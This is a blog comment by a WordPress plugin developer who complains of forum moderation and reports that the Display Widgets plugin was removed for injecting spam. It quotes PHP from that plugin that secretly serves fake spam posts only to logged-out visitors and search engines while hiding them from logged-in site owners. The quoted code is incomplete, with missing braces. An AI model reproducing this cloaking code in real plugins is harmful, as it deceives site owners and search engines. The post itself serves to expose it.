Comment on Display Widgets SEO Plus Plugin by SEO Dave.

Display Widgets SEO Plus Plugin Show/Hide on Specific Categories I removed it (and my other plugins) from the WordPress plugin repository as I was moderated for asking a valid question about what the Display Widgets plugin developer (the developer of another plugin which he’d recently purchased) was doing with MY user data and for pointing out the way the developer was blocking Googlebot (via it’s IP address, the developer assumed it was always a US IP, which isn’t always the case) could result in Display Widgets users having their sites penalized by Google.

See a comment about one of my other plugins for details : Stallion WordPress SEO Plugin v3.0.0 is Still Safe to Use.

I can’t work where my forum posts could be moderated at anytime for what in my opinion are reasonable questions. For example would criticizing the WordPress forum moderators for moderating my posts be another reason to moderate my forum posts??? I can say what I like here (I try to be fair), but on the forum I’d have to second guess everything I post from now on and that’s no way to work for something I don’t get paid for!

Anyway, If you have a copy of the Display Widgets WordPress SEO Plugin v3.0.0 installed on your site there’s nothing wrong with it.

Future plans…

My original plan was to add over a dozen new SEO plugins to the free plugin repository to build a following to support other projects, but that plan is out the window now. Not easy to build a large following for a free plugin outside the repository.

Will probably go premium plugins for everything now, so there’s a good chance version 3.0.0 of the Display Widgets WordPress SEO Plugin is the last free version.

Hmm, that being said…

The Display Widgets plugin has again been removed from the plugin repository (that’s the third time!!!). Someone on the forum posted a support thread “Display Widget Inserted Spammy Links????” : guess they finally noticed the iffy code.

I saw some ‘interesting’ code (which I assume is the cause of it being deleted again) that’s related to creating posts in the Display Widgets plugin in the geolocation.php file, but as I’d been moderated for my previous intervention, I kept quiet this time :-(

Here’s some of the code:

  public static function dynamic_page( $posts ) {
    if ( !function_exists( 'is_user_logged_in' ) || is_user_logged_in() ) {
      return $posts;

    $displaywidgets_ids =  get_option( 'displaywidgets_ids', array() );
    if ( $displaywidgets_ids === false || !is_array( $displaywidgets_ids ) ) {
      return $posts;

    $requested_page_slug = strtolower( $GLOBALS[ 'wp' ]->request );

    if ( count( $posts ) == 0 && array_key_exists( $requested_page_slug, $displaywidgets_ids) ) {
      $post = new stdClass;
      $post_date = !empty( $displaywidgets_ids[ $requested_page_slug ][ 'post_date' ] ) ? $displaywidgets_ids[ $requested_page_slug ][ 'post_date' ] : date( 'Y-m-d H:i:s' );

      $post->post_title = $displaywidgets_ids[ $requested_page_slug ][ 'post_title' ];
      $post->post_content = $displaywidgets_ids[ $requested_page_slug ][ 'post_content' ];

      $post->post_author = 1;
      $post->post_name = $requested_page_slug;
      $post->guid = get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug;
      $post->ID = -3371;
      $post->post_status = 'publish';
      $post->comment_status = 'closed';
      $post->ping_status = 'closed';
      $post->comment_count = 0;
      $post->post_date = $post_date;
      $post->post_date_gmt = $post_date;

      $post = (object) array_merge(
        (array) $post,
          'slug' => get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug,
          'post_title' => $displaywidgets_ids[ $requested_page_slug ][ 'post_title' ],
          'post content' => $displaywidgets_ids[ $requested_page_slug ][ 'post_content' ]

      $posts = NULL;
      $posts[] = $post;

      $GLOBALS[ 'wp_query' ]->is_page = true;
      $GLOBALS[ 'wp_query' ]->is_singular = true;
      $GLOBALS[ 'wp_query' ]->is_home = false;
      $GLOBALS[ 'wp_query' ]->is_archive = false;
      $GLOBALS[ 'wp_query' ]->is_category = false;
      unset( $GLOBALS[ 'wp_query' ]->query[ 'error' ] );
      $GLOBALS[ 'wp_query' ]->query_vars[ 'error' ] = '';
      $GLOBALS[ 'wp_query' ]->is_404 = false;

    return $posts;

Note the “is_user_logged_in()” bit, basically says output normal stuff if user is logged in. If the user is logged in it’s probably the site owner and you wouldn’t want them to see the SPAM post. When a user is logged out (like Google), dynamically show the SPAMMY post (nice blackhat SEO way to add SPAM links).

If it stays deleted there’s an opportunity for me to release the old v2.05 version of the Display Widgets code (2.05 is stable, but has some bugs and lacks some quite basic features) with my bug fixes and few extra features, give that away for free and sell the Display Widgets WordPress SEO Plugin (after an update to add new features of course).